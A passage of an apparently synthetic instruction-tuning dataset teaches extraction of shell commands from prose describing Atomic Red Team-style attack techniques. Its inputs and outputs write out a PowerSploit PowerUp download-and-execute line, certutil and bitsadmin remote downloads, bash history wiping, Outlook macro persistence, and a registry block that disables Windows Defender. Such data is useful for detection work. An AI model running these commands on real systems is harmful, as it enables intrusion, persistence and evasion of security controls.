https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For network share discovery, run the following command in the command prompt, ensuring to update the computer name variable if required: net view \\\\#{computer_name}\n; Available network shares can be displayed in the PowerShell session by executing this command: get-smbshare", "output": "{\"command_list\": [\"net view \\\\\\\\#{computer_name}\\n\", \"get-smbshare\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Here's how to fetch a remote file using certutil's verifyctl feature, which also accepts /verifyctl: $datePath = \"certutil-$(Get-Date -format yyyy_MM_dd)\"\nNew-Item -Path $datePath -ItemType Directory\nSet-Location $datePath\ncertutil -verifyctl -split -f #{remote_file}\nGet-ChildItem | Where-Object {$_.Name -notlike \"*.txt\"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }; This test demonstrates how Qbot malware downloads payloads by executing a BITS job with the command: C:\\Windows\\System32\\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path}", "output": "{\"command_list\": [\"$datePath = \\\"certutil-$(Get-Date -format yyyy_MM_dd)\\\"\\nNew-Item -Path $datePath -ItemType Directory\\nSet-Location $datePath\\ncertutil -verifyctl -split -f #{remote_file}\\nGet-ChildItem | Where-Object {$_.Name -notlike \\\"*.txt\\\"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }\\n\", \"C:\\\\Windows\\\\System32\\\\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n As described in MDSEC's research, Outlook macros can be weaponized for persistence by adjusting registry settings and placing a specific file. The required configuration can be achieved with this command sequence: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Security\\Level\" /t REG_DWORD /d 1 /f\nmkdir %APPDATA%\\Microsoft\\Outlook\\ >nul 2>&1\necho \"Atomic Red Team TEST\" > %APPDATA%\\Microsoft\\Outlook\\VbaProject.OTM; You can copy data to the clipboard with this command, which also creates a temporary file:\ndir | clip\necho \"T1115\" > %temp%\\T1115.txt\nclip < %temp%\\T1115.txt\n", "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Outlook\\\\Security\\\\Level\\\" /t REG_DWORD /d 1 /f\\nmkdir %APPDATA%\\\\Microsoft\\\\Outlook\\\\ >nul 2>&1\\necho \\\"Atomic Red Team TEST\\\" > %APPDATA%\\\\Microsoft\\\\Outlook\\\\VbaProject.OTM\\n\", \"dir | clip\\necho \\\"T1115\\\" > %temp%\\\\T1115.txt\\nclip < %temp%\\\\T1115.txt\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To clear the bash history, use the following command: rm #{history_path}; The bash history can be cleared with the command: echo \"\" > #{history_path}\n", "output": "{\"command_list\": [\"rm #{history_path}\\n\", \"echo \\\"\\\" > #{history_path}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This technique involves creating a fake parent directory and running a process from it with these commands:\nmkdir $HOME/...\ncp $(which sh) $HOME/...\n$HOME/.../sh -c \"echo #{test_message}\"\n; Execute this command to create and run an executable designed to appear legitimate:\nAdd-Type -TypeDefinition @'\npublic class Test {\n public static void Main(string[] args) {\n System.Console.WriteLine(\"tweet, tweet\");\n }\n}\n'@ -OutputAssembly \"#{executable_filepath}\"\n\nStart-Process -FilePath \"#{executable_filepath}\"", "output": "{\"command_list\": [\"mkdir $HOME/...\\ncp $(which sh) $HOME/...\\n$HOME/.../sh -c \\\"echo #{test_message}\\\"\\n\", \"Add-Type -TypeDefinition @'\\npublic class Test {\\n public static void Main(string[] args) {\\n System.Console.WriteLine(\\\"tweet, tweet\\\");\\n }\\n}\\n'@ -OutputAssembly \\\"#{executable_filepath}\\\"\\n\\nStart-Process -FilePath \\\"#{executable_filepath}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary with root privileges can disable real-time protection by executing the following command: sudo mdatp config real-time-protection --value disabled. Note that this assumes Defender is not in passive mode and real-time protection is enabled.; The registry modifications needed to disable Windows Defender can be applied with this comprehensive command block: reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiVirus\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableBehaviorMonitoring\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIntrusionPreventionSystem\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIOAVProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableOnAccessProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRoutinelyTakingAction\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScanOnRealtimeEnable\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScriptScanning\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" /v \"DisableEnhancedNotifications\" /t REG_DWORD /d \"1\" /f >NUL 2>nul \nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"DisableBlockAtFirstSeen\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SpynetReporting\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" /v \"MpEnablePus\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\" /v \"DisallowExploitProtectionOverride\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" /v \"TamperProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\software\\microsoft\\windows defender\\spynet\" /v \"SubmitSamplesConsent\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Microsoft\\Windows Defender\" /v \"PUAProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\n", "output": "{\"command_list\": [\"sudo mdatp config real-time-protection --value disabled\\n\", \"reg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\" /v \\\"DisableAntiSpyware\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\" /v \\\"DisableAntiVirus\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableBehaviorMonitoring\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableIntrusionPreventionSystem\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableIOAVProtection\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableOnAccessProtection\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableRealtimeMonitoring\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableRoutinelyTakingAction\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableScanOnRealtimeEnable\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableScriptScanning\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Reporting\\\" /v \\\"DisableEnhancedNotifications\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul \\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\SpyNet\\\" /v \\\"DisableBlockAtFirstSeen\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\SpyNet\\\" /v \\\"SpynetReporting\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\MpEngine\\\" /v \\\"MpEnablePus\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender Security Center\\\\App and Browser protection\\\" /v \\\"DisallowExploitProtectionOverride\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows Defender\\\\Features\\\" /v \\\"TamperProtection\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\software\\\\microsoft\\\\windows defender\\\\spynet\\\" /v \\\"SubmitSamplesConsent\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows Defender\\\" /v \\\"PUAProtection\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example 